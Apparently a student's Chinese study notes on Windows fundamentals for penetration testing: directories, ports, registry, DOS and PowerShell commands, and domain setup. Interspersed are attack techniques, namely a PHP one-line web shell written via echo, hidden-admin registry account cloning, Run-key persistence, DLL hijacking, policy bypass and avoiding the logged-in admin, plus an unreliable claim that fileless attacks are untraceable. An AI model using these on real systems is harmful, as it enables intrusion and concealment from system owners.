02windows基础操作
我学到了一下几点
Windows系统目录结构与渗透的作用
常见Windows的服务详解
Windows端口详解
常用的Windows注册表详解
hacker DOS命令详解(net user / type /md /rd/ dir /cd /net use copy、批处理 等)
利用dos命令制作开机病毒
Windows性能优化详解
Windows手动查找木马并清理病毒
POWERSHELL(ps1脚本使用,常用渗透命令讲解,powershell在内网渗透中的作用)
windows 域环境(域控搭建配置,域用户组权限分析,域网络工作原理讲解,域策略配置使用等)
1.系统目录,服务,端口,注册表
2.常用的DOS命令
3.POWERSHELL使用
4.域控环境搭建配置
主要是对系统目录的了解
以后的流程:漏洞—后台—getshell—执行命令操作—提权—内网 dos命令在执行命令往后用到的多。
powershell,nishang,empire,msf生成ps1
经常用到无文件攻击:不会往电脑里上传文件,通过远程的服务器调用生成的ps脚本,加载到内存去运行,就会出现一个会话,对msf或者控制机上操作。无文件攻击是无法溯源的。 只有用bypass防护, 360等安全工具拦截也可以过。
域控环境搭建 成员pc加入域网络
01.系统目录(安装完成后08C盘)
windows:是windows系统的安装目录,并不是程序目录,该目录存放系统文件资料,不要随意去改动
windows下重要目录
System32:属于系统的配置文件,
cmd.exe,
sethc.exe调用粘贴,
config/SAM:SAM文件里有系统的用户名密码。忘记密码了可以用pe去清理SAM文件,抹掉密码
drivers/etc/hosts:hosts文件解析优先级是高于DNS的。可以钓鱼,欺骗,修改DNS文件。绕过服务器软件激活验证
Program Files 64位程序目录
Program Files (x86) 32位程序目录
Perflogs :存放日记记录(不是系统日志)
ProgramData:存放系统临时生成的文件夹和数据(隐藏目录):rpp蠕虫病毒会感染此目录可以用杀毒软件去着重扫描下这个目录
用户目录:从3389进来会生成一个登陆用户的文件夹,文件及里会配置一些信息。用户登录可查看管理员一小部分桌面。最好用管理员登录查看桌面可能会有idc账号密码信息,数据库临时修改文件等。以及被黑客留下的远控,矿机等。
02.计算机服务
服务器有两种服务:①本地服务②网络服务
①本地服务:随便开个软件也称本地服务
②网络服务:可以通过ip给互联网提供服务的叫网络服务
渗透测试黑客的目的是拿到至高权限,拿到权限的途径有哪些呢?
黑客通过网络访问服务器首先是访问的网络服务
A服务器可能开通的服务:web服务,数据库服务,FTP服务,3389服务,1433服务
其中web服务漏洞多,搞得花样也会多几率机会大,例如owasp top10的漏洞。通过web服务区提权,拿到更多权限
网络服务漏洞(不包括WEB):
1.爆破(已知账号windows:administrator,linux:root)爆破密码即可,也能拿到最高权限
2.漏洞利用rdp,sib每隔一段时间都会出现相应漏洞(exp配合msf)进行漏洞利用 也能拿到权限
3.欺骗(dns欺骗,中间人攻击) 也能拿到权限
4.钓鱼(web钓鱼,垃圾邮件,nishang提权钓鱼)也能拿到权限
web服务
dns服务:域名解析ip,ip反向解析域名
dhcp服务:网端口有一个分发ip服务器
邮件服务:
telnet服务:把自己的cmd通过远程调用,也可以用telnei去测试他的端口开放情况
ftp服务:上传下载
smb服务445:web链接和客户端与服务器通信
rdp服务:远程桌面
计算机端口:
计算机端口作用就是用来区分服务的,计算机通信是靠ip的
端口在默认情况下是不可以重复使用
端口范围1-65535
信息收集分析:
访问hao123.com
打开检查元素
Network—
找到www.hao123.com点击
点击Headers
找到请求和响应包
apache
探测FTP:
ftp ip地址
服务器版本系统分析:
iis7/7.8 08
iis8/8.5 12
iis10 2016
常见的端口
HTTP协议代理服务器常用端口号:80/8080/3128/8081/9080
https/443
FTP(文件传输)协议代理服务器常用端口号:21
Telnet(远程登录)协议代理服务器常用端口:23
TFTP(Trivial File Transfer Protocol)默认端口号为69/udp
SSH(安全登录)。SCP(文件传输),端口重定向,默认的端口号为22/tcp
SMTP Simple Mail Transfer Protocol (E-mail),默认端口号为25/tcp木马Antigen、Email
Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口);
POP3 Post Office Protocol (E-mail) ,默认的端口号为110/tcp;
TOMCAT,默认的端口号为8080;
WIN2003远程登陆,默认的端口号为3389;
Oracle 数据库,默认的端口号为1521;
MS SQL*SERVER数据库server,默认的端口号为1433/tcp 1433/udp;
QQ,默认的端口号为1080/udp
发现未知端口怎么办?
1.baidu
2.nmap 识别端口指纹看服务
3.加载ip或者域名后面看下是不是网站
4.测试是不是3389因为3389会经常被改掉
注册表:
快速打开注册表:regedit
第三个:HKEY_LOCAL_MACHINE用的比较多
注册表克隆账号:
打开第三个表—SAM–SAM(右键添加权限Administrators完全控制读取)—刷新—Domains
—Users—查看Names里的aminisrxxx(管理员)采用的0x1f4十六进制—在找到000001F4双击“F”复制前4排以后的值,打开000001F5(来宾)的”F”值,粘贴到相同位置。
再给来宾账号设置个密码,这样,来宾账号就等于管理员账号有了一样的权限
开启启动(可以写入东西)
注册表HKEY_LOCAL_MACHINE—Microsoft—windows—CurrentVersion—Run—
Run—新建—字符串值–填写你要开机的启动项,比其他地方稍微隐蔽些,开机的软件也可能调用这个表
大多使用的黑方法
dll劫持,比如qq有很多dll文件,执着一个dll特换掉qq的dll这样每次打开qq就会生成一个shell
DOS命令
ping:
简单的路由追踪:tracert 目标网址
1 1 ms 2 ms 3ms 192.168.1.1 自己路由器
2 2 2 1 100.64.0.1 运用商的
3 3ms 4 3 58.42.150.13
tracert的作用
c段来说,假设14.215.177.1—14.215.177.254,如果目标的路由追中和c段里站的路由追中都是一样的代表都在一个机房里。倒数第二个看也可以内网渗透会用到
比如tracert 14.215.177.1 返回的路由数值都是一样证明都是一个机房的
tracert 14.215.177.2
什么类型的站点可能会在一个c段?
大学,政府,医院,机构等等一系列
ip:
ipconfig:主要查看ip和网关的
ipconfig /all:看的更全面详细
ipconfig /release释放ip
ipconfig /renew重新获取ip
ipconfig /flushdns 清空DNS缓存
systeminfo 查看系统信息以及补丁。提权必备
arp -a 主要查看本地缓存表 局域网通信是靠ARP缓存表里的mac地址 可以看看局域网和你交互的主机
net view 查看局域网里其他计算机名称
shutdown -s -t 180 -c “你还有180秒关机”
shutdown -a 取消关机
shutdown -r -t 180 -c “你还有180秒重启”
dir:查看目录下有哪些文件目录,其中显示的.代表隐藏目录
cd:切换目录
cd\ 到c盘根目录
d: 进入D盘
md 创建目录 例如:md test 在用dir查看
rd 删除目录 例如 rd test 在用dir查看
copy con 创建文件 例如:copy con 123.txt copy con d:\123.txt (批处理也可以做)
start 图形化查看文件 例如:start 123.txt start www.baidu.com statr TOOS\TOOS\fanghan
type 命令行查看文件 例如:type 123.txt
del 删除文件 例如:del 123.txt
rd /S 删除文件夹,文件夹里有内容例如 rd /S test.txt
ren 原文件名 新文件名 重命名文件名
copy 复制文件 例如 copy 123.txt d:\
move 移动 例如 move 124.txt .
重点:内网渗透会用到
net share 查看共享
net share c$ /del 删除c盘共享
net use k:\\192.168.1.1\c$
net use k:\\192.168.1.1\c$ /del
net use k:/del删除链接
可以远程执行命令以及批处理之类的
net time \\192.168.1.1
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务 (如果服务中间有空格最好用引号引起来)
net user 用户名 密码 /add 建立用户
net user 用户名 查看详细服务,详细时间等
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net locaLGroup 查看组 每个组的功能点也是不一样的
重点正常情况下远程登录必须是管理员 但如果把普通用户也添加到*Remote Desktop Users 也可以登录
重点,什么时候用,如果sqlserver拿到了sa权限可以远程执行命令,因为权限是system权限,可以创建用户,但是服务器却有个安全狗。如果在创建net user 1 1 /add安全狗没有拦截的话,就把1这个用户添加到*Remote Desktop Users组里,在通过3389登录,但是你不是最高权限,这时候,你把system的所有C,D盘的权限进行降权,从理解层面的意思上你的1已经是管理员权限了,变相提权。自己上不去,就把身边的人拉下来。
net locaLGroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
Tasklist 查看进程
Taskkill /im qq.exe /f 结束进程 切记并不是所有进程都得结束,即使最高权限。如果是system可以停止杀软服务,但无法结束进程
Tracert 追踪路由
Echo “”命令行写入文件 在命令执行以及导入shell时候用的较多。
例如 echo “123132132” > 12331.txt,在查看type 12331.txt
重点:echo重点用在一句话,如:echo ^<?php @eval($_POST[a]);?^> > a.php ^是用来区分>的。
Query user 查看登录用户 实际情况你查看下真正的管理员有没有登录,登录的话就不要乱操作。
Msg user “hello” 与其他系统账号聊天
批处理文件是dos命令的组合文件,
写在批处理文件的命令会被逐一执行。
后缀名名.bat
新建批处理文件
新建一个文本文档保存时把后缀名改为bat
也可以使用命令
copy con 123.bat
net user cracer 123123 /add
net localgroup administrator cracer /add
Ctrl+z
回车
POWERSHELL
在08以后的服务器里会有,03是没有的
如何运行程序、脚本和已有的软件
在系统路径下运行程序、脚本、批处理文件或者其它可执行文件,可以直接输入文件名运行。比如我把一个Test.cmd文件放在了”C:\Windows\System32”下
如果文件名字或路径中有空格,需要用(\’)引号将命令扩起来,同时在前面加上符号(&)
要运行当前目录下的命令,需要文件名前加.\
除了支持传统的Windows可执行文件,PowerShell还推出了一个功能强大的新的命令叫做cmdlet。所有的cmdlet命令规则都遵循动词-名词这种语法结构,如Get-Command、Get-Content等,如下Get-Command命令意思是获取包含Process的所有命令集合:
Get-command 获取命令
Get-help get-service 获取命令使用说明
获取PowerShell版本信息
Get-Host或$PSVersionTable
获取当前PowerShell环境包含的Module
,Get-Module
Get-server 获取计算机服务
POWERSHELL只是运行软件要用的,有的时候不同模式下是无法运行的比如:
echo “heloo fanghan” > a.ps1
.\a.ps1 会报错
Gte-Executionpolicy 查看模式, Restricted无法运行脚本文件
设置只模式策略值:
①Set-Executionpolicy
②Executionpolicy:unrestricted
③Y
④在运行脚本
也可用bapss来绕过执行策略
域环境配置
域控制器
域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。
第一步:比如在08搭建域,首先要有一个静态IP,不能要动态,需要DNS的配置。,域控不能换ip,所以在搭建DNS最好也一样
第二步: ncpa.cpl—本地连接属性—internet协议版本ipv4—使用下面地址 192.168.194.138,DNS:192.168.194.138
第三部:运行里输入dcpromo 打开了后下一步—在新林中建新域—起名fanghan.com—级别2008 R2—下一步—yes—还原密码123.com—下一步等待安装—自动重启
第四部:重启输入密码123.com—-改密码1234.com—稍后询问—确定
第五步:03加入域,只需要设置一个dns
第六步:03下运行 ncpa.cpl—本地连接解析到域名即可—属性—tcpip—DNS–192.168.194.138—确定—打开了防火墙,记得关闭
第七步:如果解析不了可能有缓存—开始—我的电脑属性—计算机名—更改—域—域名—确定—输入08账号密码administrator 1234.com 会出现欢迎你加入—确定重启
第八步:08下给03创建域用户
net uesr xy 123.com /add
03重启后,用户名选项,使用域创建的用户名登录